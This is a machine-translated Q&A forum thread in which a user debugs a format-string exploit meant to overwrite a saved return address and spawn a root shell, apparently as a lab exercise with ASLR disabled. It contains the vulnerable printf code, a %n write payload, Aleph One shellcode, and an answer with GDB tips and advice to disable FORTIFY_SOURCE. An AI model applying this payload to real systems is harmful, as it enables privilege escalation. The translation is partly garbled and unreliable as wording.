2013-10-03 21 views
1

我在禁用了堆棧隨機化的環境中運行此操作,並使用與AlephOne的緩衝區溢出兼容的gcc版本 - 效果很好!格式字符串利用 - 打開root shell

我想用包含我的shellcode的數組地址覆蓋指令指針寄存器(eip)。儘管如此,我總是會遇到分段錯誤。以下是我試圖利用的代碼片段:

//Prints version 
static 
void print_version(char* cmd) 
{ 
    char txt[640+1]; 
    snprintf(txt, 640, "Submission program version 0.1 (%s)\n", cmd); 
    printf(txt); 
} 

我正在通過execve()調用該函數。格式字符串是這裏的argv [0],它被成功傳遞給上面的函數。

我在此格式的字符串:

\x0c\xdc\xbf\xffjunk\x0d\xdc\xbf\xffjunk\x0e\xdc\xbf\xffjunk\x0f\xdc\xbf\xff%8x%8x%120x%n%5x%n%230x%n%64x%n 

後跟200個的NOP,shellcode的和剩餘陣列與所述NOP指令爲好。

shellcode的是阿萊夫一個代碼:

static char shellcode[] = 

「\ XEB \ X1F \ x5e \ X89 \ X76 \ X08 \ X31 \ XC0 \ X88 \ X46 \ X07 \ X89 \ X46 \ X0C \ XB0 \ x0b「 」\ x89 \ xf3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ xcd「 」\ x80 \ xe8 \ xdc \ xff \ xff \ XFF/bin/sh的「;

回到格式字符串,我覆蓋了4個地址0xffbfdc0c到0xffbfdc0f。 0xffbfdc0c是我通過在頂部提到的print_version()函數上設置斷點找到的保存的eip地址。

我試圖用地址0xffbfdcd4替換它,它在print_version的txt []數組的基地址之上150字節之後(在該函數和格式字符串中計算txt []的初始字符之後)希望它可能會在shellcode之前的NOP中出現)。

我剛剛結束了SEG故障。我不知道如何進一步處理,或者我應該如何調試以確定它是否實際覆蓋了預期地址的值。

編輯:我使用正確的格式字符串?

任何人都可以告訴我如何檢查地址使用GDB後,我的程序已經產生了一個段故障或正好在一個段故障之前,但地址改變後?

謝謝。

回答

0

有幾件事你說你的格式字符串是argv [0]。你確定你不是指argv [1]嗎? argv [0]通常爲程序名保留,argv [1]是程序的第一個參數。

您可以通過在右側出現之前和之後立即設置斷點,然後使用x/x 0xffbfdc0c來查看您是否正在寫入正確的位置來檢查右側的地址。 GDB手冊(網上提供)也可能對您有所幫助。

關於格式字符串寫入的整潔的事情是,你不限於你可以寫的地方,所以任何事情都是免費的遊戲(提示提示)。您也可以在編譯程序時確保沒有設置-D_FORITY_SOURCE。

+0

是的,它實際上是傳遞給上述函數的argv [0]。我使用execve(「weak」,argv [],env)將格式字符串提供爲argv [0]。有點不規範的方法,但是設置argv [0]仍然執行程序。 – user2327683

+0

我可以在seg故障後檢查地址,不幸的是格式字符串無法工作(值與以前相同)。我很難過。 – user2327683

+0

關於該標誌,我只是將-ggdb和-Wall參數傳遞給gcc。 – user2327683